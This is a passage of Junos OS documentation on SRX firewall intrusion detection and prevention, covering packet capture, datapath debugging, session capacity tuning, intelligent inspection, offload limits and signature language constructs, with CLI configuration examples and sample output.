Example: Configure Security Packet Capture

IN THIS SECTION

- Requirements | 478
- Overview | 478
- Configuration | 478
- Verification | 483

This example shows how to configure the security packet capture.

Requirements

Before you begin, configure network interfaces.

Overview

In this example, you configure a packet capture for rule 1 of policy pol0. The rule specifies that, if an attack occurs, 1 packet before the attack and 3 packets after the attack will be captured, and that the post-attack capture should time out after 60 seconds. The sensor configuration is modified to allocate 5 percent of available memory and 15 percent of the IDP sessions to packet capture. When the packet capture object is prepared, it is transmitted from device 10.56.97.3 to port 5 on device 10.24.45.7.

Configuration

IN THIS SECTION

Procedure | 479

Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, and then copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set security idp idp-policy pol0 rulebase-ips rule 1 then notification packet-log pre-attack 1 post-attack 3 post-attack-timeout 60 set security idp sensor-configuration packet-log total-memory 5 max-sessions 15 source-address 10.56.97.3 host 10.24.45.7 port 5 set security idp sensor-configuration log suppression disable set security idp idp-policy pol0 rulebase-ips rule 1 match attacks predefined-attack-groups "TELNET-Critical" set security idp idp-policy pol0 rulebase-ips rule 1 then action drop-packet
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To configure the security packet capture:

1. Create an IDP policy.

```
[edit]
user@host# edit security idp idp-policy pol0
```

2. Associate a rulebase with the policy.

```
[edit edit security idp idp-policy pol0]
user@host# edit rulebase-ips
```

3. Add rules to the rulebase.

```
[edit edit security idp idp-policy pol0 rulebase-ips]
user@host# edit rule 1
```

4. Specify notification, define the size and timing constraints for each packet capture.

```
[edit security idp idp-policy pol0 rulebase-ips rule 1 ]
user@host# set then notification packet-log pre-attack 1 post-attack 3 post-attack-timeout
60
```

5. Define an attack as match criteria.

```
[edit security idp idp-policy pol0 rulebase-ips rule 1]
user@host# set match attacks predefined-attack-groups "TELNET-Critical"
```

6. Specify an action for the rule.

```
[edit security idp idp-policy pol0 rulebase-ips rule 1]
user@host#set then action drop-packet
```

7. Enable the security idp sensor-configuration.

```
[edit]
user@host# edit security idp sensor-configuration
```

8. (Optional) Disable security idp sensor-configuration log suppression.

```
[edit]
user@host# set security idp sensor-configuration log suppression disable
```

When IDP log suppression is enabled (which is the default behaviour), during incidents of high volume or repetitive attacks matching a single signature, a packet capture (PCAP) may not be generated by the SRX Series Firewall and forwarded to the collector. It is recommended to disable IDP log suppression if you require PCAP records for each attack.

9. Allocate the device resources to be used for packet capture.

```
[edit security idp sensor-configuration]
user@host# set packet-log total-memory 5 max-sessions 15
```

10. Identify the source and host devices for transmitting the packet-capture object.

```
[edit security idp sensor-configuration]
user@host# set packet-log source-address 10.56.97.3 host 10.24.45.7 port 5
```

11. Enable secured SSL or TLS connection to encrypt the IDP packet log sent to the configured host (PCAP reciever).

```
[edit security idp sensor-configuration]
user@host# set packet-log ssl-profile-name ssl3
```

```
[edit](Logical Systems)
user@host# set logical system LS1 security idp sensor-configuration packet-log ssl-profile-
name ssl3
```

```
[edit(Tenant Systems)
user@host# set tenants TS1 security idp sensor-configuration packet-log ssl-profile-name
ssl3
```

Configure the previously mentioned SSL profile name in the SSL initiation profile configuration. All the SSL and TLS versions supported by SSL initiation configuration are supported for this IDP packet log SSL or TLS connection. You can choose only the SSL or TLS version configured in the SSL initiation configuration.

Run the user@host# show services ssl initiation | display set to view the SSL profile name configured in the SSL initiation and use the required SSL or TLS version.

Results

From configuration mode, confirm your configuration by entering the show security idp command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security idp
```

```
idp-policy pol0 {
    rulebase-ips {
        rule 1 {
            match {
                attacks {
                    predefined-attack-groups TELNET-Critical;
                }
            }
            then {
                action {
                    drop-packet;
                }
                notification {
                    packet-log {
                        pre-attack 1;
                        post-attack 3;
                        post-attack-timeout 60;
                    }
                }
            }
        }
    }
}
```

```
sensor-configuration {
   log {
      suppression {
       disable;
      }
   }
```

```
packet-log {
    total-memory {
        5;
    }
    max-sessions {
        15;
    }
    source-address 10.56.97.3;
    host {
        10.24.45.7;
        port 5;
    }
    ##
    ## ## Warning: Referenced SSL initiation profile is not defined
    ##
    ssl-profile-name ssl3;
}
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

Verify Security Packet Capture | 483

Confirm that the configuration is working properly.

Verify Security Packet Capture

Purpose

Verify security packet capture.

Action

From operational mode, enter the show security idp counters packet-log command.

user@host> show security idp counters packet-log

IDP counters:	Value
Total packets captured since packet capture was activated	0
Total sessions enabled since packet capture was activated	0
Sessions currently enabled for packet capture	0
Packets currently captured for enabled sessions	0
Packet clone failures	0
Session log object failures	0
Session packet log object failures	0
Sessions skipped because session limit exceeded	0
Packets skipped because packet limit exceeded	0
Packets skipped because total memory limit exceeded	0

Example: Configure Packet Capture for Datapath Debugging

IN THIS SECTION

- Requirements | 484
- Overview | 485
- Configuration | 485
- Verification | 488

This example shows how to configure packet capture to monitor traffic that passes through the device. Packet capture then dumps the packets into a PCAP file format that can be later examined by the tcpdump utility.

Requirements

Before you begin, see Set Data Path Debugging (CLI Procedure).

Overview

A filter is defined to filter traffic; then an action profile is applied to the filtered traffic. The action profile specifies a variety of actions on the processing unit. One of the supported actions is packet dump, which sends the packet to the Routing Engine and stores it in proprietary form to be read using the show security datapath-debug capture command.

Configuration

IN THIS SECTION

• Procedure | 485

Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set security datapath-debug capture-file my-capture
set security datapath-debug capture-file format pcap
set security datapath-debug capture-file size 1m
set security datapath-debug capture-file files 5
set security datapath-debug maximum-capture-size 400
set security datapath-debug action-profile do-capture event np-ingress packet-dump
set security datapath-debug packet-filter my-filter action-profile do-capture
set security datapath-debug packet-filter my-filter source-prefix 10.2.3.4/32
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the *Junos OS CLI User Guide*.

To configure packet capture:

1. Edit the security datapath-debug option for the multiple processing units along the packet-processing path:

```
[edit]
user@host# edit security datapath-debug
```

2. Enable the capture file, the file format, the file size, and the number of files. Size number limits the size of the capture file. After the limit size is reached, if the file number is specified, then the capture file will be rotated to filename *x*, where *x* is auto-incremented until it reaches the specified index and then returns to zero. If no files index is specified, the packets are discarded after the size limit is reached. The default size is 512 kilobytes.

```
[edit security datapath-debug]
user@host# set capture-file my-capture format pcap size 1m files 5
[edit security datapath-debug]
user@host# set maximum-capture-size 400
```

3. Enable action profile and set the event. Set the action profile as do-capture and the event type as npingress:

```
[edit security datapath-debug]
user@host# edit action-profile do-capture
[edit security datapath-debug action-profile do-capture]
user@host# edit event np-ingress
```

4. Enable packet dump for the action profile:

```
[edit security datapath-debug action-profile do-capture event np-ingress]
user@host# set packet-dump
```

5. Enable packet filter, action, and filter options. The packet filter is set to my-filter, the action profile is set to do-capture, and filter option is set to source-prefix 10.2.3.4/32.

```
[edit security datapath-debug]
user@host# set security datapath-debug packet-filter my-filter action-profile do-capture
```

```
[edit security datapath-debug]
user@host# set security datapath-debug packet-filter my-filter source-prefix 10.2.3.4/32
```

Results

From configuration mode, confirm your configuration by entering the show security datapath-debug command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
security {
    datapath-debug {
        capture-file {
            my-capture
            format pcap
            size 1m
            files 5;
       }
   }
   maximum-capture-size 100;
   action-profile do-capture {
        event np-ingress {
             packet-dump
        }
      }
    packet-filter my-filter {
         source-prefix 10.2.3.4/32
        action-profile do-capture
     }
}
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

- Verify Packet Capture | 488
- Verify Data Path Debugging Capture | 488
- Verify Data Path Debugging Counter | 489

Confirm that the configuration is working properly.

Verify Packet Capture

Purpose

Verify if the packet capture is working.

Action

From operational mode, enter the request security datapath-debug capture start command to start packet capture and enter the request security datapath-debug capture stop command to stop packet capture.

To view the results, from CLI operational mode, access the local UNIX shell and navigate to the directory /var/log/my-capture. The result can be read by using the tcpdump utility.

Verify Data Path Debugging Capture

Purpose

Verify the details of data path debugging capture file.

Action

From operational mode, enter the show security datapath-debug capture command.

user@host> show security datapath-debug capture

When you are done troubleshooting, make sure to remove or deactivate all the traceoptions configurations (not limited to flow traceoptions) and the complete security datapath-debug

configuration stanza. If any debugging configurations remain active, they will continue to use the device's CPU and memory resources.

Verify Data Path Debugging Counter

Purpose

Verify the details of the data path debugging counter.

Action

From operational mode, enter the show security datapath-debug counter command.

IDP Security Packet Logging for Logical Systems and Tenant Systems

IN THIS SECTION

Route and Reachability | 490

You can capture IDP security packet logs for logical systems and tenant systems. With packet capture enabled on your SRX Series Firewall, you can also specify a number of post-attack or pre-attack packets to capture. After you configure packet capture on your SRX Series Firewall, the device collects the captured information and stores it as a packet capture (.pcap) file at the logical systems and tenant systems level.

When you configure IDP security packet logs for logical systems and tenant systems, your configuration looks as the following sample:

IDP Packet Logging Sample Configuration

```
[edit logical-systems LSYS-1]
user@host# show
security {
   idp {
      sensor-configuration {
        packet-log {
```

Route and Reachability

You can specify packet logging sensors at the logical systems and tenant systems level to store the captured packets on a destination device (packet capture receiver). To send and store the captured packets, you must add the IP address of the destination device in your logical systems and tenant systems configuration. Otherwise, the device uses the IP address of the device configured at the root logical systems and tenant systems level to send the captured packet. In this case, captured packets are not stored at the logical systems and tenant systems level.

The SRX Series Firewall fails to send the captured packet if your root logical systems and tenant systems lack the destination device's IP address.

Use the **show security idp counters packet log logical-system** *logical-system-name* command. Check the *Packet log host route lookup failures* option. Determine how often the SRX Series Firewall didn't send packets due to missing route details.

SEE ALSO

```
packet-log (Security IDP Sensor Configuration) show security idp counters packet-log
```

Change History Table

Feature support is determined by the platform and release you are using. Use Feature Explorer to determine if a feature is supported on your platform.

Release	Description
23.1R1	Starting in Junos OS Release 23.1R1, the captured packets can now be stored locally on the SRX Series Firewall and details can be viewed on the user interface or J-Web

22.1R1	Starting in Junos OS Release 22.1R1, you can enable a secure SSL or TLS connection and send encrypted IDP packet capture log to the packet capture receiver.
21.3R1	Starting in Junos OS Release 21.3R1, you can capture IDP security packet logs for logical systems and tenant systems.



Tuning IDP

IN THIS CHAPTER

- Performance and Capacity Tuning | 493
- Intelligent Inspection | 495

Performance and Capacity Tuning

SUMMARY

The IDP Performance and Capacity Tuning topic explains how to enhance IDP session capacity on SRX Series Firewalls by adjusting system resource allocation. It involves configuring a command and setting weight options for firewall and IDP functions to optimize performance.

IN THIS SECTION

- Performance and Capacity Tuning for IDP Overview | 493
- Configure Session Capacity for IDP (CLI Procedure) | 494

Performance and Capacity Tuning for IDP Overview

This topic provides an overview on performance and capacity tuning for an Intrusion Detection and Prevention (IDP) session.

If you are deploying IDP policies, you can configure the device to increase IDP session capacity. By using the provided commands to change the way the system allocates resources, you can achieve higher IDP session capacity.

By using the **maximize-idp-sessions** command, you can increase the IDP session capacity. In this mode, by default, the device assigns a greater weight value to firewall functions. Based on your IDP policy, you can shift the weight to IDP functions to maximize IDP performance. By shifting weight, you are increasing capacity and allocating more processing power for the given service.

You should not configure the device to increase IDP session capacity if you are not using an IDP policy.

The device ships with an implicit default session capacity setting. This default value adds weight to firewall sessions. You can manually override the default by adding the **maximize-idp-sessions** setting to your configuration. When you do this, in addition to IDP session scaling, you can choose to assign weight values of equal, firewall, or IDP to firewall and IDP functions. To reduce CPU resource consumption, include only IDP-recommended or client-to-server attacks in your IDP policy. Select weight firewall to enhance device performance. Alternatively, if you add server-to-client attacks to your IDP policy, IDP functions consume higher CPU resources. For this reason, you would select weight IDP to maximize performance. Essentially, you will need to configure the weight based on the desired IDP policy and performance. You do this by examining the CPU resource utilization on the packet forwarding engine by using the **show security monitoring fpc** *number* command.

SEE ALSO

Understand IDP Policy | 43

Configure Session Capacity for IDP (CLI Procedure)

The configuration instructions describe how to modify session capacity for IDP policies.

You do this by adding the **maximize-idp-sessions** command and then adding the weight option to specify IDP sessions.

The weight option depends on the **maximize-idp-sessions** command being set.

1. With an active IDP policy, configure the device to increase IDP session capacity by entering following command:

```
user@host# set security forwarding-process application-services maximize-idp-sessions
```

2. You can further adjust the weight of the firewall and IDP processing functions, such as in the case of heavier IDP policies with the following command:.

user@host# set security forwarding-process application-services maximize-idp-sessions weight idp

3. Commit your changes. You must reboot the device for any session capacity setting changes to take effect

If the device has **maximize-idp-sessions** weight enabled for IDP, and you do not have an IDP policy configured, a warning message appears when you commit your configuration. If you see this warning, you should remove your configured settings.

To turn maximize-idp-sessions settings off, remove the maximize-idp-sessions configuration.

Reboot the device to apply **maximize-idp-sessions** setting changes.

SEE ALSO

Understand IDP Policy | 43

Intelligent Inspection

SUMMARY

IDP (Intrusion Detection and Prevention) intelligent inspection is designed to ensure that the firewall can continue to operate efficiently even when it is under high load conditions.

IN THIS SECTION

- Understand Intelligent Inspection | 495
- Example: Configure IDP Intelligent Inspection | 498

Understand Intelligent Inspection

IN THIS SECTION

- Benefits of Intelligent Inspection | 495
- Security Mechanisms for Tuning IDP Intelligent Inspection | 496
- CPU Utilization | 496
- Memory Utilization | 497
- Limitation | 498

You can enable IDP intelligent inspection and tune it dynamically to reduce the load of full IDP inspection. IDP does not reject or ignore the session by tuning the IDP inspection when the resource limits reach the configured CPU and memory threshold values.

To enable IDP intelligent inspection and the bypass feature, use the set security idp sensor-configuration flow intel-inspect-enable command.

Benefits of Intelligent Inspection

- Gives importance to critical IDP inspection.
- Avoids low-priority IDP inspection.
- Reduces high system resource usage.

Security Mechanisms for Tuning IDP Intelligent Inspection

The following configurations allow for fine-tuning of the IDP system to optimize performance and focus on critical threats:

- Dynamic policy—Critical, major, and minor are the three important signature severities. You can tune the policy dynamically to include only the signatures of desired severity level. To include signatures of only critical severity, use the command set security idp sensor-configuration flow intel-inspect-signature-severity critical. To include signatures of critical and major severity, use the command set security idp sensor-configuration flow intel-inspect-signature-severity major. To include signatures of both critical, major and minor severity, use the command set security idp sensor-configuration flow intel-inspect-signature-severity minor. By default, attacks with severity as critical are included.
- Content decompression—The content decompression can be avoided only when Intel inspect is
 enabled and thresholds are reached. The protocol decoder decompresses the protocol content if the
 content is in a compressed state. You can avoid decompression of the protocol content by
 configuring the set security idp sensor-configuration flow intel-inspect-disable-content-decompress
 command.
- Selective protocols—By default, IDP inspects all critical protocols. You can specify the list of critical protocols for IDP processing. To specify the list of protocols, use the set security idp sensor-configuration flow intel-inspect-protocols *protocol* command. IDP does not inspect noncritical protocols.
- Inspection depth—For each session, by default, IDP inspects all the bytes of the session. By
 specifying inspection depth, IDP limits inspection to only specified number of bytes. To enable the
 inspection depth, use the command set security idp sensor-configuration flow intel-inspect-session-bytesdepth value. By default, the IDP intelligent inspection disables the inspection depth, which means all
 bytes are inspected.


CPU Utilization

You can configure the threshold limits for IDP inspection. When the CPU usage reaches the configured threshold, IDP intelligent inspection is activated.

To configure the threshold limits, use the following commands:

- set security idp sensor-configuration flow intel-inspect-cpu-usg-threshold value
- set security idp sensor-configuration flow intel-inspect-cpu-usg-tolerance value

Figure 6: Understanding CPU Usage



CPU utilization behaves as follows:

- IDP stops full IDP processing on the new session when the CPU utilization reaches the configured intelligent inspection threshold. IDP processes only the tuned security inspection. This behavior triggers a syslog message to activate the IDP intelligent inspection.
- IDP continues to function in intelligent inspection mode when the CPU utilization exceeds the
 intelligent inspection threshold and it lies between the IDP bypass threshold and intelligent
 inspection lower threshold.
- IDP starts the full IDP inspection on the new session and triggers a syslog to deactivate the IDP intelligent inspection when the CPU utilization drops below the lower threshold of intelligent inspection.
- The IDP intelligent bypass feature activates when the CPU utilization reaches the IDP bypass threshold.


Memory Utilization

You can configure the memory limits for the IDP inspection. When the memory usage reaches the configured limit, it activates the IDP intelligent inspection.

To configure the available memory limits, use the following commands:

- set security idp sensor-configuration flow intel-inspect-free-mem-threshold value
- set security idp sensor-configuration flow intel-inspect-mem-tolerance value

Figure 7: Understanding Memory Usage



Memory utilization behaves as follows:

- IDP activates the IDP intelligent inspection mode when the memory utilization reaches the intelligent inspection available memory lower threshold.
- IDP continues to function in intelligent inspection mode when the memory utilization is in between intelligent inspection memory upper threshold and memory lower threshold.
- IDP activates the IDP bypass feature when the memory utilization reaches the available memory lower threshold.
- IDP activates to normal mode when the memory utilization drops and exceeds the intelligent inspection available memory upper threshold.

Limitation

IDP intelligent inspection is supported only at the primary logical system level.

Example: Configure IDP Intelligent Inspection

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- Requirements | 499
- Overview | 499
 - Configuration | 499

Verification | 502

The IDP intelligent inspection helps the device to recover from the overload state when the device exceeds the configured CPU and memory threshold limit.

This example shows how to enable the IDP intelligent inspection and tune the IDP inspection dynamically to reduce the load of full IDP inspection.

Requirements

Read "IDP Sensor Configuration" on page 459 to understand when and how the IDP intelligent inspection and IDP bypass feature works.

Overview

Earlier, when the device reached the configured CPU and memory threshold values, IDP ignored or rejected new sessions. Also, when the device crossed the upper threshold, IDP discarded packets of existing and new session.

Tuning the IDP inspection helps the device gradually increase the CPU and memory utilization and gives importance to critical inspection. This example shows how to tune the IDP inspection after enabling the IDP intelligent inspection.

Configuration

IN THIS SECTION

- CLI Quick Configuration | 500
- Procedure | 500
- Results | 502

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a TXT file, remove any line breaks, and change any details necessary to match your network configuration. Copy and paste the commands into the CLI at the [edit] hierarchy level. Enter commit from configuration mode.

```
set security idp sensor-configuration flow intel-inspect-enable
set security idp sensor-configuration flow intel-inspect-cpu-usg-threshold 60
set security idp sensor-configuration flow intel-inspect-cpu-usg-tolerance 15
set security idp sensor-configuration flow intel-inspect-mem-tolerance 5
set security idp sensor-configuration flow intel-inspect-free-mem-threshold 30
set security idp sensor-configuration flow intel-inspect-signature-severity critical
set security idp sensor-configuration flow intel-inspect-disable-content-decompress
set security idp sensor-configuration flow intel-inspect-session-bytes-depth 2
set security idp sensor-configuration flow intel-inspect-protocols HTTP
set security idp sensor-configuration flow intel-inspect-protocols FTP
```

Procedure

Step-by-Step Procedure

To configure the IDP intelligent inspection:

1. Enable the IDP intelligent inspection.

```
[edit security idp sensor-configuration]
user@host# set flow intel-inspect-enable
```

2. Configure the CPU threshold limit.

```
[edit security idp sensor-configuration]
user@host# set flow intel-inspect-cpu-usg-threshold 60
```

3. Configure the CPU tolerance.

```
[edit security idp sensor-configuration]
user@host# set flow intel-inspect-cpu-usg-tolerance 15
```

4. Configure the memory tolerance.

```
[edit security idp sensor-configuration]
user@host# set security idp sensor-configuration flow intel-inspect-mem-tolerance 5
```

5. Configure the memory limit.

```
[edit security idp sensor-configuration]
user@host# set security idp sensor-configuration flow intel-inspect-memory-limit-lt 30
```

6. Specify the severity level.

```
[edit security idp sensor-configuration]
user@host# set flow intel-inspect-signature-severity critical
```

7. Disable content decompression.

```
[edit security idp sensor-configuration]
user@host# set flow intel-inspect-disable-content-decompress
```

8. Configure the packet inspection depth.

```
[edit security idp sensor-configuration]
user@host# set flow intel-inspect-session-bytes-depth 2
```

9. Configure the protocol for inspection.

```
[edit security idp sensor-configuration]
user@host# set flow intel-inspect-protocols HTTP
user@host# set flow intel-inspect-protocols FTP
```

Results

From configuration mode, confirm your configuration by entering the show security idp sensor-configuration command. If the output does not display the intended configuration, repeat the instructions in this example to correct the configuration.

```
[edit]
user@host# show security idp sensor-configuration
  flow {
      intel-inspect-enable;
      intel-inspect-cpu-usg-threshold 60;
      intel-inspect-cpu-usg-tolerance 15;
      intel-inspect-free-mem-threshold 30;
      intel-inspect-mem-tolerance 5;
      intel-inspect-disable-content-decompress;
      intel-inspect-session-bytes-depth 2;
      intel-inspect-protocols [ HTTP FTP ];
      intel-inspect-signature-severity critical;
}
```

If you are done configuring the devices, enter commit from configuration mode.

Verification

IN THIS SECTION

- Verify the Status of All IDP Flow Counter Values | 502
- Verify the Status of IDP Current Policy | 505
- Protocol-Specific Intelligent-Offload | 506
- Configure Protocol-Specific Offload Limits | 507

Confirm that the configuration is working properly.

Verify the Status of All IDP Flow Counter Values

Purpose

Verify that the IDP intelligent inspection captures counter values.

Action

DP counters:	
IDP counter type	Value
Fast-path packets	580
	61
Slow-path packets Session construction failed	0
Session limit reached	0
	0
Session inspection depth reached	•
Memory limit reached	0
Not a new session	0
Invalid index at ageout	0
Packet logging	0
Policy cache hits	58
Policy cache misses	3
Maximum flow hash collisions	0
Flow hash collisions	0
Gates added	0
Gate matches	0
Sessions deleted	62
Sessions aged-out	0
Sessions in-use while aged-out	0
TCP flows marked dead on RST/FIN	47
Policy init failed	0
Policy reinit failed	0
Number of times Sessions exceed high mark	0
Number of times Sessions drop below low mark	0
Memory of Sessions exceeds high mark	0
Memory of Sessions drops below low mark	0
SM Sessions encountered memory failures	0
SM Packets on sessions with memory failures	0
Number of times Sessions crossed the CPU threshold value that is set	0
Number of times Sessions crossed the CPU upper threshold	0
Sessions constructed	61
SM Sessions ignored	3
SM Sessions dropped	0
SM Sessions interested	61
SM Sessions not interested	101612
SM Sessions interest error	0
Sessions destructed	62

SM Session Create	58
SM Packet Process	580
SM ftp data session ignored by idp	0
SM Session close	59
SM Client-to-server packets	312
SM Server-to-client packets	268
SM Client-to-server L7 bytes	8468
SM Server-to-client L7 bytes	19952
Client-to-server flows ignored	0
Server-to-client flows ignored	0
Server-to-client flows tcp optimized	0
Client-to-server flows tcp optimized	0
Both directions flows ignored	47
Fail-over sessions dropped	0
Sessions dropped due to no policy	0
IDP Stream Sessions dropped due to memory failure	0
IDP Stream Sessions ignored due to memory failure	0
IDP Stream Sessions closed due to memory failure	0
IDP Stream Sessions accepted	0
IDP Stream Sessions constructed	0
IDP Stream Sessions destructed	0
IDP Stream Move Data	0
IDP Stream Sessions ignored on JSF SSL Event	0
IDP Stream Sessions not processed for no matching rules	0
IDP Stream stbuf dropped	0
IDP Stream stbuf reinjected	0
Busy pkts from stream plugin	0
Busy pkts from pkt plugin	0
bad kpp	0
Lsys policy id lookup failed sessions	0
NGAppID Events with no L7 App	0
NGAppID Events with no active-policy	0
NGAppID Detector failed from event handler	0
NGAppID Detector failed from API	0
Busy packets	0
Busy packet Errors	0
Dropped queued packets (async mode)	0
Dropped queued packets failed(async mode)	0
Reinjected packets (async mode)	0
Reinjected packets failed(async mode)	0
AI saved processed packet	0
busy packet count incremented	0
busy packet count decremented	0
•	

```
session destructed in pme
                                                                         0
session destruct set in pme
kq op hold
                                                                         0
kq op drop
                                                                         11
kq op route
                                                                         47
kq op continue
                                                                         522
kq op error
kq op stop
PME wait not set
PME wait set
                                                                         0
PME KQ run not called
IDP sessions ignored for content decompression in intel inspect mode
                                                                         47
IDP sessions ignored for bytes depth limit in intel inspect mode
                                                                         0
IDP sessions ignored for protocol decoding in intel inspect mode
                                                                         0
IDP sessions detected CPU usage crossed intel inspect CPU threshold
                                                                         43
IDP sessions detected mem drop below intel inspect low mem threshold
                                                                         0
```

Meaning

The show command displays counters for the IDP intelligent inspection.

Verify the Status of IDP Current Policy

Purpose

Verify that the IDP intelligent inspection captures current policy.

Action

[ICMP: 0] [TCP: 127] [UDP: 7] [Other: 0]

Flow Statistics:
 ICMP: [Current: 0] [Max: 6 @ 2019-01-16 20:36:17 PST]
 TCP: [Current: 4] [Max: 4 @ 2019-01-17 22:34:33 PST]
 UDP: [Current: 2] [Max: 6 @ 2019-01-17 20:03:55 PST]
 Other: [Current: 0] [Max: 0 @ 2016-07-03 14:16:03 PDT]

Session Statistics:
[ICMP: 0] [TCP: 2] [UDP: 1] [Other: 0]

Number of SSL Sessions : 0

Policy Name : idp-policy-unified
 Running Detector Version : 12.6.130180509

Meaning

The show security idp status command displays IDP current policy. Though you have enabled IDP intelligent inspection, the state of IDP intelligent inspection can be inactive when you execute show security idp status operational command. The reason is the configured CPU and memory threshold values don't exceed the resource limit. When the CPU usage reaches the configured threshold, the state of IDP intelligent inspection becomes active.

Protocol-Specific Intelligent-Offload

The existing Intelligent offload feature in IDP offloads a session when the limit for the examined bytes is reached. In addition, the inspection limit is not granular, and it is applied to all the sessions irrespective of the protocol or service.

With the ability to enable or disable IDP intelligent offloading on a per protocol basis, the administrators can use the flexibility to decide which protocols should leverage the offloading capability. The administrators can also configure the offload limit per protocol.

The Protocol-Specific Intelligent-Offload Configuration feature in the IDP system allows you to tailor inspection depth limits for different protocols, enhancing both performance and security. By configuring separate offload limits for protocols such as SSH and FTP, you can optimize resource usage and ensure more efficient session inspections.

This feature simplifies configuration and management with clear CLI commands, making it easier for administrators to implement and adjust offload settings based on specific network requirements.

Configure Protocol-Specific Offload Limits

You can use the new options to configure the offload limit per protocol by specifying the protocol and setting the offload limit.

[edit]

user@host# set security idp sensor-configuration global intelligent-offload-tunable ?

The range for the offloads limit is the same for all the protocols, that is, 0 to 4294967295 bytes. Offload limit range is same for all protocols and range is 0 to 4294967295 in bytes and 0 means unlimited inspection.

You can configure the limits in KB, MB, and GB, in which case you must append the end of the limit value with k, m, and g respectively.

The set security idp sensor-configuration global intelligent-offload disable command disables intelligent offload globally. You cannot configure set security idp sensor-configuration global intelligent-offload disable as well as the per protocol custom offload limit.

Precedence of offload limit

- If an offload limit is configured for a protocol, then that offload limit has the highest precedence for that protocol. For example, if the limit is configured for the protocol MYSQL, the session offload limit is taken from the configuration and not from the detector-capabilities.xml file.
- If no offload limit is configured for a protocol, but limits exist in the detector-capabilities.xml file, the limit from the file is applied for that protocol.
- If the detector-capabilities.xml file lacks offload limits for a protocol, the default limit is 256 KB. In conservative mode, intelligent offload sets the limit to 1 MB. If the intelligent offload is disabled, no offloading occurs.

If you use the set security idp sensor-configuration global intelligent-offload disable option, the offloading feature is disabled, and it will work for the entire data inspection until the session gets closed.

SEE ALSO

sensor-configuration

flow (Security IDP)

show security idp status

show security idp counters flow



Appendix

IN THIS CHAPTER

- IDP Signature Language Constructs | 509
- Express Path | 517

IDP Signature Language Constructs

SUMMARY

IDP Signature language constructs enable IDP to create efficient signatures, reducing false positives. The Signature Language achieves this by defining attack patterns with rule-based syntax, contexts, and match conditions.

IN THIS SECTION

- Benefits | 509
- Constructs | 509

The IDP Signature Language Constructs within Junos OS offer advanced capabilities for enhancing network security through the precise definition of security signatures. These constructs enable you to specify detailed traffic patterns, set alert conditions, and incorporate contextual information, thus improving the accuracy and relevance of threat detection. By leveraging these constructs, you gain fine-grained control over security management, enabling tailored responses to specific network environments.

Benefits

- Enhance threat detection accuracy by allowing precise definition of traffic patterns and alert conditions, reducing false positives and negatives.
- Improve security management flexibility by enabling the integration of contextual information, aiding in the differentiation between legitimate and malicious activities.
- Provide tailored security responses by allowing network administrators to specify detailed monitoring criteria suited to their specific network environment.
- Facilitate efficient threat mitigation through advanced customization options, enabling the creation of sophisticated security signatures.
- Support proactive security measures by enabling early detection of anomalous traffic patterns, helping to prevent potential security breaches.

Constructs

Following are the signature language constructs supported in IDP:

• **Depth**—Specifies the depth in a packet to search for the given pattern. The depth value is not relative. For example, you can specify the depth as 100.

```
<Depth>100</Depth>
```

• Offset—Allows you to specify where to start searching for a pattern within a packet. The offset value is not relative. For example, you can specify a value for offset as 100.

```
<Offset>100</Offset>
```

• Within—Ensures that a maximum of N bytes exist between pattern matches. The pattern match is always relative to a previous match. For example, if the value of N is 10.

```
<Attack>
<Member>m01</Member>
- - -
- - -
</Attack>
<Attack>
<Member>m02</Member>
- - -
- - -
</id>

<Within>10</Within>
- - -
- - -
</Attack>
```

As per the example, after m01 match, m02 match occurs within 10 bytes to trigger an attack notification.

• **Distance**—Specify where the IDP engine searches for the pattern relative to the previous pattern. The distance can be negative. For example, if the value of N is 10, once m01 matches, m02 should occur 10 bytes following the end of m01 match:

```
<Attack>
<Member>m01</Member>
- - -
- - -
</Attack>
<Attack>
```

```
<Member>m02</Member>
- - -
- - -
<Distance>10</Distance>
- - -
- - -
</Attack>
```

- **Ipopts**—All the listed ipopts have corresponding anomalies defined in the security package and can be detected when configured on the device or IDP engine:
 - rr Record Route
 - eol End of list
 - nop No Op
 - ts Time Stamp
 - sec IP Security
 - esec IP Extended Security
 - Isrr Loose Source Routing
 - ssrr Strict Source Routing
 - satid Stream identifier
- Byte extract—The Byte extract keyword helps in writing signatures against length-encoded protocols, reads the packet payload in bytes and saves it as a variable for later use. The byte extract can be both relative and non-relative. There can be any number of byte extracts used per chain attack. For example:

```
<Byte_Extract>
  <Byte>4</Byte>
  <Offset>12</Offset>
  <Relative>True</Relative>
  <Endian>Big</Endian>
  <Bitmask>0x45</Bitmask>
  <Multiplier>2</Multiplier>
  <String>dec</String>
  <align>True</align>
```

```
<Name>msg_len</align>
</Byte_Extract>
```

"IDP Signature Language Constructs" on page 509 lists the fields for the Byte extract construct.

Table 85: Byte Extract Output Fields

Field	Field Description
align	Specify the byte alignment.
bitmask	Specify the bitmask (1-4 bytes) for AND operation in hexadecimal format.
bytes	Specify the number of bytes to extract from packet (110).
endianness	Specify the endianness with which the bytes read by the IDP engine should be processed.
multiplier	Specify the value to be multiplied against the bytes read.
offset	Specify the offset number of bytes in the payload from where the IDP engine should start processing.
relative	Specify whether to use an offset relative to last pattern match or not.
string	Specify the data type in which string data should be parsed.
var-name	Specify the name of the variable to reference in other rule options.

• **Byte test**—The **Byte test** keyword allows you to test the byte field with an operative value. The byte test can be both relative and non relative. > , < , =, &, ^ ,<=,>= are the supported operators. The maximum number of bytes extracted is 4. For example:

```
M02
<SLE_Constructs>
<Within>50</Within>
<Byte_Test>
<Byte>4</Byte>
```

```
<Operator>=</Operator>
<Offset>12</Offset>
<Value>12</Value>
<Relative>True</Relative>
<Endian>Big</Endian>
<Bitmask>0x45</Bitmask>
